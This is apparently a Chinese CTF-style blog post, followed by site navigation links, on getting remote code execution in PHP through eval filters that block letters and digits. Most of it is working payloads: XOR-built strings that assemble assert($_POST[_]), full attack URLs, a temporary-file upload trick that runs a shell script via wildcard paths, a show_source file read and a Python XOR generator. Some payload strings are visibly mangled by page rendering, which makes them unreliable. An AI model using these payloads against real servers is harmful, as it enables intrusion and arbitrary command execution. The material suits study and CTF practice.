当前位置:网站首页>无字母数字RCE
无字母数字RCE
2022-08-11 05:18:00 【Dawnt0wn】
版本为php5
php5中assert是一个函数,我们可以通过 f = ′ a s s e r t ′ ; f='assert'; f=′assert′;f(…);这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
无数字和字母rce
测试代码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
在这里面经过url编码的字符能够绕过
所以%01这些不会被匹配
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');//$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); //所有的合起来就是 assert($_POST[_]);
payload
http://127.0.0.1/test/p.php?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
还要post一个参数
_=phpinfo();
同理
_=print_r(scandir('/'));可以直接获取根目录了
_=print_r(scandir(getcwd()));
参考链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
对于linux中的shell是支持正则表达式的,当你忘记某些字符时可以通过? % *来代替
所以我们要执行一个命令的话可以直接用?替代
而且大多数服务器都是用的linux
直接在kali里面实验了
不过用这种方法rce 的话需要上传一个临时文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
在这个文件下写入需要调用的命令
#!/bin/sh
ls
意思是调用ls命令
当然肯定还是要先获取文件内容我们默认上传的文件会保存在/tmp目录下
命名为/tmp/phpxxxxxx
利用``内$会解析的特性,通过位运算,执行系统命令
[@-[]是linux下面的匹配符,是进行匹配的大写字母。
所以
shell=?><?=`. /???/????????[@-[]`;?>
用+代替空格绕过
抓包修改文件内容就可以任意命令执行了
不过不知道为什么有时候有有时候没有,记得多刷新几次
参考链接:https://www.freebuf.com/articles/web/186298.html
无字母rce
测试代码
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
读取到了当前同一个目录下的p.php
mess=?><?=$_="3317!315288"^"@[^@[email protected]^@@[]";$_(("0"^"@").(".").("030"^"@[@"));
这串字符串的意思是show_source(p.php)
不过是需要异或运算后
这里有个异或运算脚本
valid = "[email protected]$%^*(){}[];\'\",.<>/?-=_`~ "
answer = "show_source"
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1, tmp2)
除此之外也可以用上面的方法
Url:
http://127.0.0.1/test/p.php?shell=$_=(''^'').(''^'').(''^'');$__='_'.(' '^']').('%2F'^'`').(''^']').(' '^']');$___=$$__;$_($___[_]);
post数据:
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=phpinfo();
当然我肯定先用glob()看看当前目录有什么东西
穿越到上级目录就用…/
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
边栏推荐
- QtDataVisualization 数据3D可视化
- 第10章 对象和类 -1
- C language file operation - detailed explanation of data file type, file judgment, and file buffer
- 二,八,十,十六进制转换
- C - file operations fseek () function, ftell, rewind, rounding
- C语言——程序的编译与执行、宏定义详解
- 做款好喝的茶饮~
- Chapter 13 Class Inheritance
- Chapter 13 Class Inheritance-1
- 05-JS中的BOM和DOM
猜你喜欢
随机推荐
事件绑定触发
LeetCode1166. Designing File Systems
05-JS中的BOM和DOM
Chapter 5 Loops and Relational Expressions
分布式日志存储架构设计方案
扩展运算符和剩余参数rest
第8章 函数探幽-2
npm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
[C language from elementary to advanced] Part 2 Initial C language (2)
简单做份西红柿炒蛋778
[C language advanced] The first in-depth analysis of the storage of integer data in memory (1)
ClionIDE compiles by specifying the compiler
【C语言从初阶到进阶】第二篇 初始C语言(二)
二,八,十,十六进制转换
QT QLabel控件(使用详解)
let 块级作用域
利用轮播图制作简单游戏页面
博客帮助文档
配置@路径简化路径处理
自制病毒——整蛊